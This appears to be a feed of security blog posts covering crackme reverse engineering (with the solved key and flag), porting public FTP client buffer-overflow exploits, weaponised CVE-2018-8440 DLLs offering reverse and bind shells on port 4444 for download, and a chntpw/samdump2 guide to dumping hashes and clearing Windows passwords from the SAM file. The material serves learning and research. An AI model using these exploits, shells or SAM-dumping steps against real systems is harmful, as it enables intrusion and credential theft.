<p>The vehicle vendor fixed this issues by deploying a firewall at least. Other than telnet 7000 (Carplay RTSP), 8080 (BYOD Server), 53 (dnsmasq 2.51) was found to be running and nothing else on the entire port range. Bloody hell \m/ – Good for the OEM and its vendor that they were able to patch this trivial vulnerability(maybe someone told them). It is however, unclear, whether they fixed the other vulnerability to reach other vehicles in the subnet over tun. This can be validated back if we get access via some exploit over dnsmasq or RTSP protocol. </p>
<p>Now I will try to conduct some more research on what else I can do – Till then – Chao !</p>
<pre><code>Recommendation to OEM/Tier I's: Start a goddam bug bounty for this stuff or make your systems accesible for some security research.
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Will find Flags for Food: Reversing with Ghidra: Part II]]></title><description><![CDATA[This one was special after my previous binary challenge for another company as I had some idea into how binary challenges work for potential employers. For this particular company there were 4 challen]]></description><link>https://gh0stshell.cc/will-find-flags-for-food-reversing-with-ghidra-part-ii</link><guid isPermaLink="true">https://gh0stshell.cc/will-find-flags-for-food-reversing-with-ghidra-part-ii</guid><category><![CDATA[reverse engineering]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Mon, 15 Apr 2019 09:51:00 GMT</pubDate><enclosure url="https://autohackin.wordpress.com/wp-content/uploads/2023/08/pexels-photo-5490707.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This one was special after my <a href="https://autohack.in/2018/12/13/reverse-engineering-a-simple-password-binary-using-gdb-peda/">previous</a> binary challenge for another company as I had some idea into how binary challenges work for potential employers. For this particular company there were 4 challenges – Out of which the first one was a binary reversing to find hidden flag that was supposed to be used for the next challenge.</p>
<p>I will not be releasing this binary although this was 5-6 years ago – This company is doing crazy work in Side Channel Attacks and Tools and is very successfull. Unfortunately, I could not complete the entire challenge for this company.</p>
<p>To Identify a Secret-Flag that would be uncovered if we:</p>
<ul>
<li><p>Either Find the Key and then run the binary with that Key on an ARM board</p>
</li>
<li><p> Use the found Key to further go ahead and uncover the Secret Flag just by reversing the encryption, xor algorithm from the binary</p>
</li>
</ul>
<p>Approaches used:</p>
<ul>
<li><p>Static Analysis</p>
</li>
<li><p>GDB and IDA Pro</p>
</li>
<li><p>GHIDRA (Released 5th March)</p>
</li>
</ul>
<p>Static Analysis:
– Initially I tried some simple static analysis like strings</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.05.09-pm.png?w=718" alt="" /></p>
<p>The first order or business from this output is to make a rough picture of what possibly the code is doing.</p>
<p>These suggest the strings printed from functions like printf, stderr etc.</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.06.00-pm.png?w=946" alt="" /></p>
<ul>
<li><p>Code exits abruptly from somewhere</p>
</li>
<li><p>Puts probably puts something to stdout</p>
</li>
<li><p>Putchar probably puts some character somewhere</p>
</li>
<li><p>Abort like aborts the program</p>
</li>
<li><p>Printf prints something</p>
</li>
<li><p>Strlen calculates string length, maybe for inputted string.</p>
</li>
<li><p>Stderr writes error to console</p>
</li>
<li><p>Fwrite write something to some stream</p>
</li>
</ul>
<p>Combining this with dynamic analysis would get us to conclude on a few more things:</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.06.52-pm.png?w=1024" alt="" /></p>
<ul>
<li><p>program accepts argument from command line, prints usage.</p>
</li>
<li><p>Exits is key length or input is less than or greater than 9, which probably would be the key length. (Concluded after editing code from GHIDRA)</p>
</li>
<li><p>After this I tried to follow assembly and dynamic analysis in GDB, but it was moving slow. As I am a regular follower of NSA, I was eyeing for their GHIDRA release, which happened at the right time the challenge was shared with me around 25th March, and I could start working on it only on 31st March. So I shifted to GHIDRA as it has an inbuilt decompiler, which other reverse engineering tools din’t have or are too expensive for me. Took me a few hours to start on with the GHIDRA journey, saw a few videos by LiveOverflow and John Hammond to get started, and viola. Below is the first screenshot from GHIDRA</p>
</li>
</ul>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.07.57-pm.png?w=1024" alt="" /></p>
<p>I edited some of the code like function signatures, variable types etc. to make the code look more C, which it was already and exported the code to a bin100.c file.</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.08.54-pm.png?w=550" alt="" /></p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.09.19-pm.png?w=1024" alt="" /></p>
<p>It is clear from this the code expects a Key length that is equal to 9 or it exits with wrong length. I recompiled the code saved from GHIDRA on X86 go get this out and speed up the process.</p>
<p>Now it is clear that we need to bypass all the conditions correctly for the given if conditions mentioned above for the challenge to go inside the while loop and generate the secret flag or something.</p>
<p>I tried to comment out rest of the code and enabled only specific code for the current condition being tested for validity.</p>
<h2>Logic:</h2>
<p>The array for Key is used as a vector sent in from command line for comparing with important conditions for password generation.</p>
<p>For example: if we enter “ABCDEFGHI” as the key then it is represented as below.</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.10.22-pm.png?w=1024" alt="" /></p>
<p>Now according to the code the important conditions are:
((argv[1][1] * (*argv[1]) != 0x1353)compare argv[1][1] multiplied by argv[1][0] with 0x1353 (Hex) So we need to look for 2 Characters whose multiplication is 0x1353(hex) or decimal **4947.
**Now we form the equation for it (x * y = 4947), hence we need to find two factors of 4947
We use <a href="https://www.calculatorsoup.com/calculators/math/factors.php">https://www.calculatorsoup.com/calculators/math/factors.php</a> to do it faster.</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.10.43-pm.png?w=638" alt="" /></p>
<p>We see that 4947 decimal has 4 factors out of which 51 and 97 fall under the printable ascii characters i.e 51 decimal is “3’ as char and 97 decimal is “a”, So these two must be the first two characters of our keygen.</p>
<p>Lets try to bypass the first condition with this.
We comment out the rest of the code from the complete source and just keep the first conditions.</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.11.29-pm.png?w=1024" alt="" /></p>
<p>Now we are sure that first two characters of the keygen are either “3a” or “a3” Let us move on with other such conditions:</p>
<p>(argv[1][3] * argv[1][2] != 0x365b) compares argv[1][3] multiplied by argv[1][2] with 0x365b (Hex) So we need to look for 2 Characters whose multiplication is 0x365b(hex) or decimal **13915.
**Now we form the equation for it (x * y = 13915), hence we need to find two factors of 13915</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.12.10-pm.png?w=1024" alt="" /></p>
<p>Only 115 and 121 have corresponding characters that are printable. 115 = “s” and 121 = “y” So the 3rd and 4th characters of our keygen are either “sy” or “ys”</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.12.35-pm.png?w=1024" alt="" /></p>
<p>Similarly we solve for other conditions from the code.
(argv[1][5] * argv[1][4] != 0x1650) compares argv[1][4] multiplied by argv[1][5] with 0x1650 (Hex) Therefore, we need to look for two Characters whose multiplication is 0x1650(hex) or decimal **13915. **Now we form the equation for it (x * y = 5712), hence we need to find two factors of 5712</p>
<p>0x1650 (a[1][4] and a[1][5]) = 5712 48 × 119 = 5,712 = “0w” or “w0” 51 × 112 = 5,712 = 3p, 56 × 102 = 5,712 = 8f 68×84=5,712 =DT</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.13.13-pm.png?w=970" alt="" /></p>
<p>Here we have multiple factors that have printable characters hence we cannot select one of the pair, so we check the next conditions. (argv[1][8] != ‘y’) – is straightforward.</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.13.43-pm.png?w=1024" alt="" /></p>
<p>And we are not sure about 1,4 and 1,5 as of yet. (argv[1][7] * argv[1][6] != 0x2b93) 0x2b93 (a[1][6] and a[1][7]) = 11155 97 × 115 = 11,155 = “as”</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.14.13-pm.png?w=1024" alt="" /></p>
<p>Now we need to solve other remaining conditions to finalize the key array.</p>
<p>((char)(argv[1][5] – argv[1][6]) != -0x2e) compares argv[1][5] subtracted by argv[1][6] resulting into negative 0x2e (Hex) which is -46</p>
<p>Therefore, we need to look for two Characters whose subtraction is negative 0x2e(hex) or decimal **-46. **Now we form the equation for it (x – y = -46), hence we need to find two numbers whose diff is -46. We already have y = either 115 or 97, so we form two equations
X = 115 – 46 = 69 = E or X = 97 – 46 = 51 = 3</p>
<p>Hence argv[1][5] could be either 3 or E, but we have argv[1][4] and argv[1][5] as either “0w”, “w0” , “3p”, “8f”, “DT”, so by correlating these two, we can be sure that argv[1][5] will be “3p” or “p3”</p>
<p>One last condition remains now,
((char)(argv[1][3] – argv[1][4]) != ‘\t’) here we already have argv[1][3] but do not have argv[1][4] By applying similar logic to above, the hex for ‘\t’ escape sequence is TAB or decimal 9.</p>
<p>Hence the final array is</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.14.51-pm.png?w=1024" alt="" /></p>
<p>Alternatively, the Key is “3asyP3asy” – looks similar to “easypeasy”.</p>
<p>We would have brute forced this after decoding first few conditions, and then we would have acquired the key. I also tried this and arrived at the key before decoding all conditions.</p>
<h2>Finding the Flag:</h2>
<p>We must move ahead and must find the flag.</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.15.32-pm.png?w=1024" alt="" /></p>
<p>This code takes the argv array with length 9, and creates an MD5sum for “3asyp3asy” as 8c0821ad65f6dbfe2fb0e26915009975</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.16.10-pm.png?w=1024" alt="" /></p>
<p>From the while loop above, every character of the md5 hash is XOR’ed with a fixed string from the code in the data section, i.e fb3c52c311a9af964ec4bd5a7473e04a</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.16.43-pm.png?w=1024" alt="" /></p>
<p>As seen in this above diagram in .bss section putchar((uint)(local_buffer[local_c] ^ (&amp;DAT_00010c34)[local_c]));</p>
<p>Once the while loop finishes, it according to the above condition inserts the XOR’ed value of the md5 hash with the .bss section value(let’s call it xorkey)</p>
<p>“xorkey” XOR “md5hash_of_3asyP3asy” = 8c0821ad65f6dbfe2fb0e26915009975 exor fb3c52c311a9af964ec4bd5a7473e04a = 7734736e745f746861745f336173793f</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.17.16-pm.png?w=1024" alt="" /></p>
<p>7734736e745f746861745f336173793f == Just by looking at this string, it appears to be in hex, so we convert it to ascii and acquire the flag that was requested for this challenge.</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-3.17.49-pm.png?w=1024" alt="" /></p>
<p>Secret Flag = w4snt_that_3asy?</p>
<p>The cool thing about this challenge was that it used a prime number factoring logic as the core logic for reversing the secret code. There are other simple ways also to solve this challenge but I found the prime factoring to be used quite interesting at the time – as this company strongly deals with cryptography and its application, it made sense for them to use something from that bucket here.</p>
]]></content:encoded></item><item><title><![CDATA[FTPShell 6.7 windows client has DOS which can be converted to RCE by a malicious server]]></title><description><![CDATA[This is another one of the exploits we tried to port on my local machine using immunity debugger.
Credits to original author for the exploit.
https://www.cvedetails.com/cve/CVE-2018-7573/https://www.e]]></description><link>https://gh0stshell.cc/ftpshell-6-7-windows-client-has-dos-which-can-be-converted-to-rce-by-a-malicious-server</link><guid isPermaLink="true">https://gh0stshell.cc/ftpshell-6-7-windows-client-has-dos-which-can-be-converted-to-rce-by-a-malicious-server</guid><category><![CDATA[Exploitation Demos]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Sat, 26 Jan 2019 19:52:00 GMT</pubDate><enclosure url="https://autohackin.wordpress.com/wp-content/uploads/2023/07/immdbg-menubar.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is another one of the exploits we tried to port on my local machine using immunity debugger.</p>
<p>Credits to original author for the exploit.</p>
<p><a href="https://www.cvedetails.com/cve/CVE-2018-7573/">https://www.cvedetails.com/cve/CVE-2018-7573/</a><a href="https://www.exploit-db.com/exploits/44596/">https://www.exploit-db.com/exploits/44596/</a></p>
<p><a href="https://www.exploit-db.com/exploits/44968/">https://www.exploit-db.com/exploits/44968/</a></p>
<h2>Basic Flow to Port the exploit:</h2>
<p><a class="embed-card" href="https://youtu.be/SSL8wq-jQi0">https://youtu.be/SSL8wq-jQi0</a></p>

<p>Load program Lets start the malicious FTP server now</p>
<p>Lets try to connect to our malicious FTP server As you can see ESI is completely overloaded with \x41</p>
<p>lets find jmp esi in windows memory, from which our RIP will jump to NOPS and then to payload shellcode for calc</p>
<p>new jmp.txt is generated by mona</p>
<p>Lets select any one of the address from this for our jmp</p>
<p>lets modify our eip for this new address</p>
<p>0x004539c0 – Normal</p>
<p>\xc0\x39\x45 – Endian Shit</p>
<p>Let restart ftpshell from mona something went wrong, let try with different address, I did not select correct payload calc spawned in other screen. Now i have set single screen so calc.exe should pop up now</p>
<p><a class="embed-card" href="https://youtu.be/4qRSht5bbBU">https://youtu.be/4qRSht5bbBU</a></p>
<p><a class="embed-card" href="https://youtu.be/Tj53Hxj6Q78">https://youtu.be/Tj53Hxj6Q78</a></p>
<p><a class="embed-card" href="https://youtu.be/Uq2OYzO4cn8">https://youtu.be/Uq2OYzO4cn8</a></p>

<p>Great — thats it.</p>
]]></content:encoded></item><item><title><![CDATA[Writing an BoF Exploit for CVE-2017-1000218 – LightFTP v1.1]]></title><description><![CDATA[This is not really a post but a video that runs through one of the BoF exploits I wrote for CVE-2017-1000218 long time ago.
https://youtu.be/AEUuXiiW0Ts

If you TLDS – then it’s fine.
I am uploading a]]></description><link>https://gh0stshell.cc/writing-an-bof-exploit-for-cve-2017-1000218-lightftp-v1-1</link><guid isPermaLink="true">https://gh0stshell.cc/writing-an-bof-exploit-for-cve-2017-1000218-lightftp-v1-1</guid><category><![CDATA[Exploitation Demos]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Fri, 04 Jan 2019 19:17:00 GMT</pubDate><enclosure url="https://autohackin.wordpress.com/wp-content/uploads/2023/07/buffer-overflow.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is not really a post but a video that runs through one of the BoF exploits I wrote for <a href="https://www.cvedetails.com/cve/CVE-2017-1000218/">CVE-2017-1000218</a> long time ago.</p>
<p><a class="embed-card" href="https://youtu.be/AEUuXiiW0Ts">https://youtu.be/AEUuXiiW0Ts</a></p>

<p>If you TLDS – then it’s fine.</p>
<p>I am uploading all material for this video here.</p>
<p><a href="https://autohackin.wordpress.com/wp-content/uploads/2023/07/expd-files.zip">expd-filesDownload</a></p>
]]></content:encoded></item><item><title><![CDATA[SandboxEscaper Windows 0-Day Exploit payload Weaponised: Tribute]]></title><description><![CDATA[This is a tribute post to a researcher named “sandboxescaper” – who used to find zero days for breakfast in Windows – PE was her expertise and much more. I heard she went to work for MS after dropping]]></description><link>https://gh0stshell.cc/sandboxescaper-windows-0-day-exploit-payload-weaponised-tribute</link><guid isPermaLink="true">https://gh0stshell.cc/sandboxescaper-windows-0-day-exploit-payload-weaponised-tribute</guid><category><![CDATA[Exploitation Demos]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Wed, 26 Dec 2018 20:11:00 GMT</pubDate><enclosure url="https://autohackin.wordpress.com/wp-content/uploads/2023/07/alpc-tweet-830495150-e1690402275208.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is a tribute post to a researcher named “sandboxescaper” – who used to find zero days for breakfast in Windows – PE was her expertise and much more. I heard she went to work for MS after dropping tons of zero days on Windows some 5-6 years ago. I was quite fascinated an intrigued by her. She was mentioned in quite a few articles and new posts at the time – here is one such example <a href="https://www.theregister.com/2018/08/28/windows_zero_day_lpe/">here</a> – so at the time I decided to weaponise one of her exploits to do:  <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8440">CVE-2018-8440</a></p>
<ul>
<li><p>A bindshell</p>
</li>
<li><p>And a Reverse TCP</p>
</li>
</ul>
<p><a class="embed-card" href="https://youtu.be/mV5I5Syc4rU">https://youtu.be/mV5I5Syc4rU</a></p>

<p>Bind Shell Payload Modification</p>
<p><a class="embed-card" href="https://youtu.be/epqsMWUyT60">https://youtu.be/epqsMWUyT60</a></p>

<p>Reverse TCP Payload Modification</p>
<ul>
<li><p>Run Exploit as shown in original video or for weaponization from my video downloaded from this gdrive.</p>
</li>
<li><p>The existing ALPC DLL is modified with weaponized payload located here -&gt;&gt;&gt; Weaponized Dll’s</p>
</li>
</ul>
<ol>
<li><p>Reverse TCP (192.168.5.21:4444 connects back from victim to our meterpreter)</p>
</li>
<li><p>Bind TCP Shell (4444 on victim)</p>
</li>
</ol>
<p>Weaponised DLL’s</p>
<p><a href="https://autohackin.wordpress.com/wp-content/uploads/2023/07/sandboxescaper-zeroday-demo-with-weaponized-payload.zip">sandboxescaper-zeroday-demo-with-weaponized-payloadDownload</a></p>
<p><a href="https://autohackin.wordpress.com/wp-content/uploads/2023/07/weaponized-dlls.zip">weaponized-dllsDownload</a></p>
<p>This is just a demo. Do not really weaponize in real world.</p>
]]></content:encoded></item><item><title><![CDATA[Bypassing Windows Login – The easy way]]></title><description><![CDATA[Recently I came across an office laptop which everyone had forgotten the password of. Little to my surprise all the standard combinations that we use didn’t work either. Being part of a startup we do not have a domain controller or an super admin acc...]]></description><link>https://gh0stshell.cc/bypassing-windows-login-the-easy-way</link><guid isPermaLink="true">https://gh0stshell.cc/bypassing-windows-login-the-easy-way</guid><category><![CDATA[others]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Wed, 26 Dec 2018 12:15:00 GMT</pubDate><content:encoded><![CDATA[<p>Recently I came across an office laptop which everyone had forgotten the password of. Little to my surprise all the standard combinations that we use didn’t work either. Being part of a startup we do not have a domain controller or an super admin account like the ones available in enterprise environment, such that this admin account can manage the users on the PC/Machine in a define and proper way.</p>
<p>However, we don’t have any such provisions – I know it sucks !</p>
<p>Unfortunately after trying multiple password combinations and combing through BIOS settings, i decided to reset it using a different mechanism. The one way – how forensics guys extract data from locked machines.</p>
<h2 id="heading-method">Method:</h2>
<ul>
<li><p>I downloaded a copy of pop os(doesn’t matter which one Kali will work fine to) –</p>
</li>
<li><p>Created a bootable iso with Balena</p>
</li>
<li><p>Plugged in the USB into the windows machine</p>
</li>
<li><p>Booted into the live PopOS</p>
</li>
<li><p>Connected the live OS to a WiFi for downloading some tools</p>
</li>
</ul>
<h3 id="heading-tools-required">Tools required:</h3>
<ul>
<li><p>lsblk – to find out where the windows partition is mounted</p>
</li>
<li><p>samdump2 – do dump LM/NTLM hashes from SAM file(\Users\Windows32\system\SAM)</p>
</li>
<li><p>blkhive – to read the SAM file as it is in windows registry format</p>
</li>
<li><p>chntpw – to edit the SAM file</p>
</li>
</ul>
<h3 id="heading-execute">Execute:</h3>
<pre><code class="lang-plaintext">#chntpw -l SAM (returns the list of users in the SAM file)
//Select your user
#chntpw -r 
//This tool will ask you to reset or clear the password
- Just select option 2 to clear password for your user
- If the user is locked - unlock with 
#samunlock -U 
- then run the chntpw again to clear the password
</code></pre>
<p>If this is success – Reboot – Remove the Live USB !</p>
<p>Password should be reset for that user name and must be empty login now.</p>
<p>Done !</p>
<p>Note: This might not work for a number of below scenarios:</p>
<ul>
<li><p>Bitlocker is enabled</p>
</li>
<li><p>Some tool is protecting SAM file</p>
</li>
<li><p>SAM file is stored encrypted</p>
</li>
<li><p>Some password is set to protect SAM file</p>
</li>
<li><p>You can also try to crack the LM/NTLM hashes mentioned in the SAM file – but if the password is strong then you will be out of luck.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Will Reverse Engineer for Food: with GDB peda and IDA – Part I]]></title><description><![CDATA[I was searching for new work some 5 years ago, and one of an excellent company sent me a Reverse Engineering challenge for a Linux Binary. This post gives details of how I solved it.
Note: Ghidra was ]]></description><link>https://gh0stshell.cc/reverse-engineering-a-simple-password-binary-using-gdb-peda</link><guid isPermaLink="true">https://gh0stshell.cc/reverse-engineering-a-simple-password-binary-using-gdb-peda</guid><category><![CDATA[reverse engineering]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Wed, 12 Dec 2018 18:56:00 GMT</pubDate><enclosure url="https://autohackin.wordpress.com/wp-content/uploads/2023/07/pexels-photo-3913025.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was searching for new work some 5 years ago, and one of an excellent company sent me a Reverse Engineering challenge for a Linux Binary. This post gives details of how I solved it.</p>
<p>Note: Ghidra was not available at the time and I wanted to do it raw using GDB and dynamic analysis just for fun by looking at assembly. Although I used IDA for understanding program logic better then work in GDB to conduct breakpoint analysis.</p>
<p>There are plenty of binaries out there for using techniques given here – I don’t want to share the one that this particular company sent me.</p>
<p>**Basic Analysis: **</p>
<ul>
<li><p>Binary is completely stripped of any symbols or any debugging information – No Information other than strings inside the code is available</p>
</li>
<li><p>Binary has also been compiled with protection mechanism like Canaries, NX(Non-Executable Stack), PIE and RELRO is fully turned on so it is difficult to exploit, other than reverse engineering the password logic.</p>
</li>
</ul>
<p>**Statically Analyzing results: **</p>
<p>Tried to find possible function names, system calls and API’s used by strings</p>
<p>Output of Strings:</p>
<p><strong>#strings crckme-01</strong></p>
<pre><code class="language-plaintext">/lib64/ld-linux-x86-64.so.2 
libc.so.6 
strncmp 
__stack_chk_fail 
strlen 
tcsetattr 
read 
malloc 
tcgetattr 
sleep 
__cxa_finalize 
__libc_start_main 
write 
GLIBC_2.4 
GLIBC_2.2.5 
_ITM_deregisterTMCloneTable 
__gmon_start__ 
_ITM_registerTMCloneTable 
AWAVI
AUATL 
[]A\A]A^A_ 
Crack me! 
Password: 
+ Checking Password 
OK. 
Incorrect. 
- Try again. 
+ DONE 
;*3$" 
GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
</code></pre>
<p>All is all that can be seen about the binary.</p>
<p>Things we can infer: (First thoughts about the binary)</p>
<p>Does strncmp possibly of inputted password and some string generated inside the code</p>
<p>Read, may be used to read from user from console</p>
<p>Malloc – maybe we are allocating buffer for something, not sure at this point.</p>
<p>– Sleep – this was to insert some delay while password was verified.</p>
<p>– Write to write some data somewhere</p>
<p>– Crack me was the string when you started the program</p>
<p>– Password was the prompt to enter the password</p>
<p>– Tcgetattr – may be used to get current setting of some console/terminal</p>
<p>– +Checking Password, was outputted when password was being verified(May be)</p>
<p>– Tcsetattr – may be used to change tty setting for some terminal</p>
<p>– OK – This is what we are looking for</p>
<p>– Incorrect – This is what I got most of the times before this was solved</p>
<p>– DONE – Signalled end of program</p>
<p>Next this was to identify the program flow, meaning what the program actually did. **#strace ./crckme-01 **</p>
<p>#strace ./crckme-01</p>
<p>**Things we can infer about the flow of the program and general observations: **</p>
<pre><code class="language-plaintext">execve("./crckme-01", ["./crckme-01"], 0x7ffe09c0a660 /* 43 vars */) = 0 
brk(NULL) = 0x561a8b28f000 
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) 
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) 
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 
fstat(3, {st_mode=S_IFREG|0644, st_size=152566, ...}) = 0 
mmap(NULL, 152566, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f7f3f24f000 
close(3) = 0 
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)  
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0&gt;\0\1\0\0\0000,\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1808440, ...}) = 0 
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7f3f24d000 mmap(NULL, 1821408, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f7f3f090000 
mmap(0x7f7f3f0b2000, 1335296, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7f7f3f0b2000 mmap(0x7f7f3f1f8000, 307200, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x168000) = 0x7f7f3f1f8000 mmap(0x7f7f3f243000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b2000) = 0x7f7f3f243000 mmap(0x7f7f3f249000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f7f3f249000 close(3) = 0 
arch_prctl(ARCH_SET_FS, 0x7f7f3f24e4c0) = 0
mprotect(0x7f7f3f243000, 16384, PROT_READ) = 0 
mprotect(0x561a8a8de000, 4096, PROT_READ) = 0 
mprotect(0x7f7f3f29c000, 4096, PROT_READ) = 0 
munmap(0x7f7f3f24f000, 152566) = 0 
write(1, "Crack me!\n\n", 11Crack me! 
) = 11 
write(1, "Password:", 9Password:) = 9 
brk(NULL) = 0x561a8b28f000 
brk(0x561a8b2b0000) = 0x561a8b2b0000 
ioctl(0, TCGETS, {B38400 opost isig icanon echo ...}) = 0 
ioctl(0, TCGETS, {B38400 opost isig icanon echo ...}) = 0 
ioctl(0, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig icanon -echo ...}) = 0 
ioctl(0, TCGETS, {B38400 opost isig icanon -echo ...}) = 0 
read(1, "khjasdasd\n", 32) = 10 
ioctl(0, TCGETS, {B38400 opost isig icanon -echo ...}) = 0 
ioctl(0, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig icanon echo ...}) = 0 
ioctl(0, TCGETS, {B38400 opost isig icanon echo ...}) = 0 
write(1, "\n+ Checking Password ", 21 
+ Checking Password ) = 21 
write(1, ".", 1.) = 1 
nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc062d4430) = 0 
write(1, ".", 1.) = 1 
nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc062d4430) = 0 
write(1, ".", 1.) = 1 
nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc062d4430) = 0 
write(1, ".", 1.) = 1
nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc062d4430) = 0 
write(1, ".", 1.) = 1 
nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc062d4430) = 0 
write(1, "\n Incorrect.\n- Try again.\n", 26 
Incorrect. 
- Try again. 
) = 26 
write(1, "+ DONE\n", 7+ DONE 
) = 7 
exit_group(0) = ? 
+++ exited with 0 +++
</code></pre>
<p>– Program starts by forking from bash shell process</p>
<p>– Prints “Crack Me” on stdout (1)</p>
<p>– Prints “Password:” as prompt for user to insert his password</p>
<p>– Write is the function that does so with “write(1, “”, strlen(string) + 1); (+1 for ‘\0’)</p>
<p>– We have an ioctl call as seen from above output, but as per investigation and strings output, no ioctl call is present in application, rather, tcgetattr is used with termios structure to be filled. Looks like it is taking stdin (0) line .</p>
<p>– Then the code blocks at read system call waiting for user input. ( read(1, “khjasdasd\n”, 32) – size of buffer to hold password entered by us is 32 – may be the malloc earlier was used to create this buffer dynamically ? )</p>
<p>– Tcsetattr is called with some change in line settings, like echo is turned off and is set for stdin (0)</p>
<p>– Then the program goes into verification of password by saying “+ Checking Password” , then prints a “.” Every 1 sec (nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc062d4430))</p>
<p>– Furthermore, the program jumps to some kind of password verification mechanism and then goes out print corresponding success “OK” or Incorrect – Try again on console.</p>
<p>**Diving into Program assembly code: **</p>
<p>First I tried to reverse engineer the program with just GDB and it was really painful without some kind of debugging information in the binary itself, all I could is try to reverse based on hex addresses and identifying function start and end addresses, classify or name them, identify points of interest. It was getting really difficult.</p>
<p>Some futile attempts can be seen here.</p>
<p>Then I said let’s bring out the machine gun → IDA Pro, and yeah.</p>
<p>**IDA – The Saviour **</p>
<p>After loading the program into IDA and number of things sorted out real fast.</p>
<p>– Program assembly addresses got converted into function names</p>
<p>– All functions were properly quantized, meaning, function start and end was easy to understand</p>
<p>– IDA assigned names to variables which made it easier to follow</p>
<p>– Program logic was evident</p>
<p>– Data and Text Sections were properly formatted.</p>
<p>Let’s see what I mean:</p>
<p>Main Function now looked like this:</p>
<img src="https://lh3.googleusercontent.com/g_Cwaz7ogUGIqgvF9ntrmst1pJScRSp6SIYtdtumQhp7lcHm4ORMoYEqoT7OM5Hz_MfV3x6FiQsPrU3damanfnQSnk3RzrN9GTm_C45tbwlnavTsgoAuS8QJIdFXy_i3TA4eq9ANRJ2Tn2RcUNyRUDg" alt="" />

<p>As we predicted from strac flow, it seemed to match correctly with the graph from IDA. Now we needed to understand working of the other functions.</p>
<p>Password Verification logic in main: This routing verifies the password entered by user using a predefined value and jumps to corresponding conditions based on the outcome.</p>
